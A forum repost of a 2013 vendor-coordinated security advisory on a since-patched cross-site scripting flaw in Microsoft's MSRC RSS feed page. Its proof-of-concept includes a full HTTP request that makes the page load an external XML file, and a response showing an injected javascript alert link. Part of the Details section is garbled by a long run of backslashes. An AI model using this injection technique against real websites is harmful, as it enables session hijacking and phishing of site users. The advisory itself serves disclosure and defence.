Matt Posted August 31, 2013 Report Posted August 31, 2013 Description : Microsoft Online Services suffered from a cross site scripting vulnerability. Note that this finding houses site-specific data.Author : Mohd. Shadab SiddiquiSource : Microsoft MSRC RSS ASPX Cross Site Scripting ? Packet StormCode : Title:======Microsoft MSRC RSS ASPX - CS Cross Site Web VulnerabilityDate:=====2013-07-28References:===========http://www.vulnerability-lab.com/get_content.php?id=1026Microsoft Security Response Center (MSRC) ID: 15180Video: http://www.vulnerability-lab.com/get_content.php?id=1028View: http://www.youtube.com/watch?v=wcIIFB4Gx7gVL-ID:=====1026Common Vulnerability Scoring System:====================================1.6Introduction:=============Microsoft Online Services is Microsoft`s hosted-software offering and a component of their software plus services strategy.Microsoft Online Services are hosted by Microsoft and sold `with` Microsoft partners. The suite includes Exchange Online, SharePoint Online, Office Communications Online, Microsoft Forefront, and Microsoft Office Live Meeting. For businesses, the Software-plus-Services approach enables organizations to access the capabilities of enterprise software through on-premises servers, as online services, or a combination of both, depending on specific business requirements. Services also provide the option to add complementary capabilities that enhance on-premises server software and simplify system management and maintenance.(Copy of the vendor Homepage: https://microsoftonline.com )Abstract:=========An independent vulnerability laboratory researcher discovered a client-side cross site scripting vulnerability on Microsoft Website Application.Report-Timeline:================2013-07-18: Researcher Notification & Coordination (Muhammad A.S.)2013-07-19: Vendor Notification (Microsoft Security Response Center - MSRC)2013-07-20: Vendor Response/Feedback (Microsoft Security Response Center - MSRC)2013-07-26: Vendor Fix/Patch (Microsoft Development Team)2013-07-28: Public Disclosure (Vulnerability Laboratory)Status:========PublishedAffected Products:==================Microsoft CorporationProduct: Security Response Center (MSRC) - Blog aspx Web Application 2013 Q2Exploitation-Technique:=======================RemoteSeverity:=========LowDetails:========It has been discovered that the file `ssfeedgenerator.aspx` is not validating the input parameters and hence is vulnerable to remote xss attacks. Since no validation is being performed, it is possible to include remote xml files to be parsed and displayed on the main microsoft website. A remote attacker can include malicious xml files via URLS variable which can lead to remote java-script execution on the client machine within the context of microsoft.com website.The vulnerability is located in the rssfeedgenerator.aspx\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\" file and the vulnerable parameter is \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\'URLs\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' which can be exploited via GET method to include remote (external) xml files. Exploitation of the vulnerability requires no privilege application user account but low or medium user interaction.Successful exploitation of the vulnerability results in session hijacking, non persistent phishing, non persistent malware injects, external redirects and manipulation of affected module or application context.Vulnerable Module(s): [+] RSS FeedsVulnerable Path: [+] /security/msrc/rssfeedgenerator.aspxVulnerable File(s): [+] rssfeedgenerator.aspxVulnerable Parameter(s): [+] URLsProof of Concept:=================The client side web vulnerability can be exploited by remote attackers without privilege application user account and with low user interaction.For demonstration or reproduce ...GET /security/msrc/rssfeedgenerator.aspx?URLs=http://www.nybbletech.com/poc/ms/micro.xml&itemToDisplay=3&words=16 HTTP/1.1Host: www.microsoft.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Cookie: v1st=58D7FEA59B237B40; MC1=GUID=376046a1d44f8b42834ba1809be0406d&HASH=a146&LV=20136&V=4&LU=1371688854677; A=I&I=AxUFAAAAAACVBwAA4cYlXvROT/4qjCG/tr9eRg!!&V=4; WT_FPC=id=3513600256.30305614:lv=1373527230788:ss=1373527206515Connection: keep-aliveResponse:INT NAV ONL PHY PRE PUR UNI"X-AspNet-Version: 2.0.50727VTag: 279923242400000000X-Powered-By: ASP.NETX-Powered-By: ARR/2.5X-Powered-By: ASP.NETDate: Fri, 19 Jul 2013 14:44:14 GMTContent-Length: 1847<div id="rssData1"><div><table width="100%" cellspacing="0" cellpadding="0" border="0" ><tr><td><a href="http://blogs.technet.com/b/srd/archive/2013/07/10/running-in-the-wild-not-for-so-long.aspx" target="_blank"><b>Running in the wild, not for so long</b></a></td></tr><tr><td style="padding-bottom:2px;"><font size="1"><i>Security Research & Defense - Wednesday, July 10, 2013 5:12:00 PM</i></font></td></tr><tr><td style="padding-bottom:10px;">Over <a href="javascript:alert('VULNERABLE')">CLICK HERE</a>testinging we received a report from our partners about a possible unpatched Internet Explorer vulnerability ......</td></tr></table></div><div><table width="100%" cellspacing="0" cellpadding="0" border="0" ><tr><td><a href="http://blogs.technet.com/b/srd/archive/2013/07/09/assessing-risk-for-the-july-2013-security-updates.aspx" target="_blank"><b>Assessing risk for the July 2013 security updates</b></a></td></tr><tr><td style="padding-bottom:2px;"><font size="1"><i>Security Research & Defense - Tuesday, July 9, 2013 10:09:00 AM</i></font></td></tr><tr><td style="padding-bottom:10px;">Today we released seven security bulletins addressing 34 CVE’s. Six bulletins have a maximum severity rating of Critical, ......</td></tr></table></div><div><table width="100%" cellspacing="0" cellpadding="0" border="0" ><tr><td><a href="http://blogs.technet.com/b/srd/archive/2013/06/17/emet-4-0-now-available-for-download.aspx" target="_blank"><b>EMET 4.0 now available for download</b></a></td></tr><tr><td style="padding-bottom:2px;"><font size="1"><i>Security Research & Defense - Monday, June 17, 2013 10:01:00 AM</i></font></td></tr><tr><td style="padding-bottom:10px;">We are pleased to announce that <strong>the final release of version 4.0 of the Enhanced Mitigation Experience Toolkit</strong>, ......</td></tr></table></div></div>Solution:=========Input data via URLS parameter should be validated. Only white-listed domains should be allowed for redirects and direct links. Risk:=====The security risk of the client side cross site scripting vulnerability in the microsoft security web application is estimated as low(+)|(-)medium.Credits:========Muhammad Ahmed Siddiqui - ahmed@nybbletech.comDisclaimer:===========The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 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